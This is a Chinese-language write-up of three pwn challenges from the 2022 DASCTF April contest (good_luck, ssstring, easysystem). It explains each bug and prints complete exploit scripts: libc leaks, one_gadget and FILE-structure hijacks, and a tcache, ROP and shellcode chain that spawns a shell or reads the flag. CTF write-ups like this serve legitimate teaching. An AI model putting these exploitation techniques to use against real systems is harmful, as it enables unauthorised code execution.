2022DASCTF-Apr-X-FATE-pwn-wp
作者:互联网
2022DASCTF-Apr-X-FATE-pwn-wp
时间太仓促了,题目逆向的工作量有点大,远程还有不少毛病......一言难尽。下来把剩下几道题都复现一遍,wp
持续更新中。
小广告:解题脚本均使用我自己开发的工具pwncli编写,欢迎感兴趣的
pwner
师傅们试用~
1 good_luck
眼疾手快拿了个一血,这题其实很简单,但是远程的问题很大。附件都更新了两次,就很迷~
checksec
没有给libc
。
漏洞点
要么栈溢出+格式化字符串,要么栈溢出:
利用思路
由于这两种的概率是1/2
,所以可以根据不同的输出来使用不同的payload
。当然,可以编写一个通用的payload
同时适用这两种情况。
观察到fmt
函数的缓冲区距离rbp
是0x70
,overflow
函数的缓冲区距离rbp
是0x50
,所以前面的通用的payload
可以为:
layoud = {
0x58: [ret_addr] * 4
0x78: "deadbeef"
}
因此,思路为:
- 使用通用
payload
再次执行fmt
- 第一次
fmt
,利用格式化字符串泄露出libc
地址,并再次执行fmt
- 根据泄露出来的地址,计算并填入
one_gadget
即可获得shell
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
ru("good luck\n")
m = rl()
data = flat([
"a" * 0x58,
p64(CurrentGadgets.ret()) * 5,
elf.sym.fmt
])
sl(data)
ru("fmt\n")
data = flat({
0: "%7$s",
8: elf.got.puts,
0x58: [
p64(CurrentGadgets.ret()) * 5,
elf.sym.fmt
]
})
sl(data)
puts_addr = recv_current_libc_addr(offset=0)
log_address("puts addr: ", puts_addr)
lb = LibcBox()
lb.add_symbol('puts', puts_addr)
lb.search(download_so=1) # download --> libc6_2.23-0ubuntu11.2_amd64.so
libc_base = puts_addr - lb.dump('puts')
system_adddr = libc_base + lb.dump('system')
bin_sh = libc_base + lb.dump('str_bin_sh')
set_current_libc_base_and_log(libc_base, 0)
ru("fmt\n")
data = flat({
0x78: [
0x4527a + libc_base, # one_gadget
[0] * 0x20
]
})
sl(data)
ia()
最后测出来远程:libc6_2.23-0ubuntu11.2_amd64
。
远程:
2 ssstring
不得不说,这次比赛的远程真的很很很很迷,本地环境应该和远程是一样的,但是总是打一半就卡死崩掉了。
这题考查的是C++
的string
对象,也不算很难的题。C++ string
对象的布局伪代码:
struct string {
char *data;
int capacity;
int refcount;
char pad[0x10];
};
初始状态下,data
指针指向pad
处。如果输入的字符串长度大于0x10
,string
对象的操作流程可以简单总结为:
- 首先检查
data
是不是指向pad
,如果是,就会调用malloc
分配堆内存,存储输入的字符串 - 如果
data
不指向pad
:- 如果输入的字符串长度大于
capacity
,释放data
处的内存 - 按照
0x40->0x80->0xf0->0x1e0->0x3e0...
的大小依次进行扩容,直到满足要求(所以一次性读取超过0x400
长度的字符串,会在tcachebins
里面发现很多free chunk
)
- 如果输入的字符串长度大于
checksec
远程libc
版本为:2.31-0ubuntu9.2_amd64
漏洞点
程序不复杂,漏洞也很明显,在change idx
的时候:
输入的idx
可以为负数,也就可以溢出修改capacity
域以及data
指针,虽然每次只能修改1
个字节。
利用思路
根据漏洞点整理利用思路如下:
-
第一次输入不超过
0x10
长度的字符串 -
利用索引负数溢出修改掉
capacity
的值后,cout<<str
即可泄露出栈上的libc
地址以及栈地址 -
继续利用溢出修改
capacity
大于0x7f000000
-
然后将
data
指向的地址的第5
个字节修改成libc
地址的第5
个字节。比如说此时data
的地址是一个栈地址0x7ffdd10d5e90
,泄露出来的libc
地址0x7f7463afc000
,这里将0x7ffdd10d5e90
修改为0x7f74d10d5e90
,是为了方便修改libc
上的数据 -
计算想要修改的
libc
上的数据,和修改后的data
之间的距离,一个字节一个字节修改即可 -
这里我选择的思路是修改
IO_file_jumps
结构体和stdout
结构体以及__free_hook
,篡改puts
的调用链,使得_IO_file_xsputn
调用_IO_str_finish
,调用free(stdout->_IO_buf_base)
,实际调用system("\nsh;")
即可获得shell
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from socket import timeout
from pwncli import *
cli_script()
context.update(timeout=5)
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def input_str(data):
sla(">> ", "1")
sla("string? \n", data)
def change(idx, c):
sla(">> ", "2")
sla("char idx? \n", str(idx))
sa("char? \n", c)
def show():
sla(">> ", "3")
input_str("deadbeef")
change(-7, '\x01')
show()
m = ru("1. Cin")
libc_base = u64(m[0x40:0x40+8]) - libc.sym.__libc_start_main - 243
set_current_libc_base_and_log(libc_base, 0)
free_hook_addr = libc.sym.__free_hook
system_addr = libc.sym.system
file_jump_addr = libc_base + 0x1ed4a0
stdout_addr = libc.sym._IO_2_1_stdout_
IO_str_finish = libc_base + 0x96ed0
stack_addr = u64_ex(m[0x50:0x50+8])
string_ptr = stack_addr - 0x128
log_address("string_ptr", string_ptr)
input_str("/bin/sh;deadbee")
change(-5, '\x7f')
change(-12, p8_ex(libc_base >> 32))
string_ptr = (string_ptr & 0xffffffff) | ((libc_base >> 32) << 32)
# write IO_str_finish
target_addr = file_jump_addr
write_content = IO_str_finish
dis = target_addr - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"
for i in range(6):
change(dis + i, p8_ex(write_content))
write_content >>= 8
# write system
target_addr = free_hook_addr
write_content = system_addr
dis = target_addr - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"
for i in range(6):
change(dis + i, p8_ex(write_content))
write_content >>= 8
# write sh;
target_addr = stdout_addr + 132
write_content = u64_ex("sh;")
dis = target_addr - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"
for i in range(3):
change(dis + i, p8_ex(write_content))
write_content >>= 8
# write stdout
target_addr = stdout_addr
write_content = 0x80
dis = target_addr - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"
for i in range(1):
change(dis + i, p8_ex(write_content))
write_content >>= 8
# write vtable
target_addr = stdout_addr + 0xd8 # vtable
write_content = (file_jump_addr & 0xff) - 56
dis = target_addr - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"
for i in range(1):
change(dis + i, p8_ex(write_content))
write_content >>= 8
ia()
布局成功后如下所示:
此时修改stdout->vtable
的低一个字节即可:
远程打不动,弃疗了...
3 easysystem
这题需要耐心和时间去逆向以及利用。需要IDA
文件的点这里,我已经逆完了,我使用的IDA
版本为7.6
。需要调试镜像的使用docker pull roderickchan/debug_pwn_env:21.10
拉取即可,已经安装好了pwndbg/gef/pwncli
,使用gdb-gef
和gdb-pwndbg
命令切换插件。
checksec
给的libc
的版本很高,版本为glibc-2.34
。移除了很多hook
,基本上无法使用hook
去控制程序执行流。
噢对,还加了沙箱:
漏洞点
程序的逆向工作有点大,维护了好几个结构体,如下所示:
/*
This file has been generated by IDA.
It contains local type definitions from
the type library 'easysystem'
*/
#define __int8 char
#define __int16 short
#define __int32 int
#define __int64 long long
struct User;
struct FILE;
/* 15 */
struct UserList
{
struct User *user1;
struct User *user2;
};
/* 16 */
struct User
{
char name[20];
int _1;
struct FILE *files;
struct User *next_user;
};
/* 17 */
struct FILE
{
char filename[20];
char r;
char w;
char x;
uint32_t _1;
uint32_t length;
void *_2;
struct FILE *next_file;
};
/* 18 */
struct OpendFile
{
char filename[20];
char r;
char w;
char x;
char o_r;
char o_w;
char o_x;
uint32_t length;
char *data;
struct OpendFile *next_open_file;
};
/* 19 */
struct OpenFiles
{
struct OpendFile *open_files1;
struct OpendFile *open_files2;
uint32_t max;
uint32_t count;
};
漏洞点在openfile
函数,全局变量未清理的漏洞:
由于在read_file/write_file
等函数均会使用到open_file
这个全局变量,当其不为null
的时候,会继续read/write
。而如果在此之前调用close_file
函数,则该变量指向的保存文件数据的内存是已经释放掉的内存:
基于该use after free
的漏洞,可以劫持程序执行任意流程。
利用思路
基于漏洞整理的利用思路如下:
step 1:任意地址写
- 首先
close_file
然后write_file
,即可泄露出libc
地址和heap
地址 - 然后再来一次,
close_file
之后create_file
,然后read_file
即可伪造上面整理的FILE
结构体,修改其next_file
字段和length
字段,使其指向tcache_perthread_struct
delete_file
释放伪造的file
即可释放掉tcache_perthread_struct
- 利用
tcache
让任意地址分配内存
step 2:劫持程序执行流
-
分配到
stdout->vtable
上方,tcache
里有检查,分配的地址需要0x10
对齐 -
修改
stdout->vtable
为_IO_cookie_jumps+0x40
-
布局好
__cookie
字段和_IO_cookie_io_functions_t
结构体 -
输入
exit\n
,然后输入一个不存在的用户名,即可调用puts
,本来是调用_IO_file_jumps->_IO_file_xsputn
,劫持后调用(struct _IO_cookie_file *) stdout->__io_functions.write((struct _IO_cookie_file *) stdout->__cookie)
,这样就控制了rip
和rdi
-
用两段
gadget
劫持rsp
0x0000000000165fa0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 0x0000000000059fa0: mov rsp, rdx; ret;
-
然后
rop
修改heap
的执行权限,执行提前布局好的shellcode
-
利用
retfq
切换到32
位执行orw
读取flag
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from mmap import mmap
from isort import file
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
username = "roderick"
def create_file(filename, len=0x18, r=1, w=1, x=1):
if isinstance(filename, str):
filename = filename.encode()
filename = filename.ljust(0x14, b"\x00")
sa(f"->{username}>>", "create\n")
sa("Please file (file_name file_protect file_length) : ", filename)
s(str(r).rjust(4, "0"))
s(str(w).rjust(4, "0"))
s(str(x).rjust(4, "0"))
s(str(len).rjust(4, "0"))
def delete_file(filename):
if isinstance(filename, str):
filename = filename.encode()
filename = filename.ljust(0x14, b"\x00")
sa(f"->{username}>>", "delete\n")
sa("Please input the file's name you want to delete : ", filename)
def open_file(filename, r=1, w=1, x=1):
if isinstance(filename, str):
filename = filename.encode()
filename = filename.ljust(0x14, b"\x00")
sa(f"->{username}>>", "open\n")
sa("Please input the file name you want to open : ", filename)
s(str(r).rjust(4, "0"))
s(str(w).rjust(4, "0"))
s(str(x).rjust(4, "0"))
def close_file(filename):
if isinstance(filename, str):
filename = filename.encode()
filename = filename.ljust(0x14, b"\x00")
sa(f"->{username}>>", "close\n")
sa("Please input the file name you want to close : ", filename)
def read_file(filename, data):
if isinstance(filename, str):
filename = filename.encode()
filename = filename.ljust(0x14, b"\x00")
sa(f"->{username}>>", "read\n")
sa("Please input the file name you want to read : ", filename)
sa(":", data)
def write_file(filename):
if isinstance(filename, str):
filename = filename.encode()
filename = filename.ljust(0x14, b"\x00")
sa(f"->{username}>>", "write\n")
sa("Please input the file name you want to write : ", filename)
def bye():
sa(f"->{username}>>", "exit\n")
sa("Please choose user to login : \n", "baduser")
sa("Please input user name : \n", username)
sa("Please choose user to login : \n", username)
create_file("hack1", 0x500)
open_file("hack1")
create_file("hack2", 0x500)
close_file("hack1")
# leak libc addr
write_file("hack1")
libc_base = u64_ex(rn(9)[1:]) - 0x219cc0
set_current_libc_base_and_log(libc_base, 0)
ptr_guard = libc_base - 0x2890 # local debug
if gift.remote:
ptr_guard = libc_base + 0x2295f0 # buu
io_cookie_jump = libc_base + 0x215b80
delete_file("hack2")
delete_file("hack1")
create_file("hack1", 0x88)
open_file("hack1")
close_file("hack1")
write_file("hack1")
# leak heap addr
heap_base = u64_ex(rn(0x19)[-8:]) - 0x380
log_heap_base_addr(heap_base)
delete_file("hack1")
# clear free chunk
for i in range(5):
create_file(f"hack{i}", 0x88)
open_file(f"hack{i}")
for i in range(5):
close_file(f"hack{i}")
create_file("hack5", 0x500)
open_file("hack5")
# 0x0000000000165fa0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
# 0x0000000000059fa0: mov rsp, rdx; ret;
# 0x0000000000045f85: add rsp, 0x28; ret;
# 0x000000000002a6c5: pop rdi; ret;
# 0x000000000005f65a: pop rdx; ret;
# 0x000000000002c081: pop rsi; ret;
lower_addr = (heap_base&~0xfff) & 0xfffffff
payload = flat({
0:[ # rdi
libc_base + 0x0000000000045f85,
heap_base + 0xab0,
],
0x20: libc_base + 0x0000000000059fa0,
0x30: [
libc_base + 0x000000000002a6c5,
heap_base,
libc_base + 0x000000000002c081,
0x8000,
libc_base + 0x000000000005f65a,
7,
libc.sym.mprotect,
heap_base + 0xab0 + 0x100
],
0x100: asm(shellcraft.amd64.linux.mmap_rwx(0x10000, 7, lower_addr) +
shellcraft.amd64.memcpy(lower_addr+0x800, heap_base + 0xab0 + 0x200, 0x50) + f"""
mov rax, {lower_addr+0x800}
mov rsp, rax
push 0x23
push {lower_addr+0x800+0x10}
retfq
"""),
0x200: b"\x90"*20 + ShellcodeMall.i386.cat_flag
})
read_file("hack5", flat({0x150: payload}))
create_file(f"hack6", 0x18) # gap
close_file("hack5")
create_file(f"hack7", 0x18) # fake file
# fake file
read_file("hack5", data = flat({
0:"hack7\x00",
0x14:0x010101010101,
0x1c:p32(0x280),
0x28: heap_base + 0x10 # next_file
}))
# free tcache-control-struct
delete_file("\x00")
delete_file("hack6")
open_file("hack7")
read_file("hack7", flat_z({
0:"\x01",
0xe: "\x01",
0x80: ptr_guard, # 0x20 chunk
0xb8: libc.sym._IO_2_1_stdout_+0xd0 # 0x90 chunk
}))
create_file("hack8", 0x88)
open_file("hack8")
read_file("hack8", flat([
0,
io_cookie_jump + 0x40, # vtable
heap_base + 0xab0,
libc.sym._IO_2_1_stdout_,
rol(libc_base + 0x0000000000165fa0, 0x11)
]))
create_file("hack9", 0x18)
open_file("hack9")
read_file("hack9", p64(0))
bye()
ia()
调试截图:
执行到puts
:
准备劫持rsp
:
栈迁移到堆上,修改其权限:
切到32
位:
读取到flag
:
远程打:
4 try2findme
TODO
5 storage
TODO
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
标签:addr,Apr,2022DASCTF,filename,write,libc,base,file,pwn 来源: https://www.cnblogs.com/LynneHuan/p/16188678.html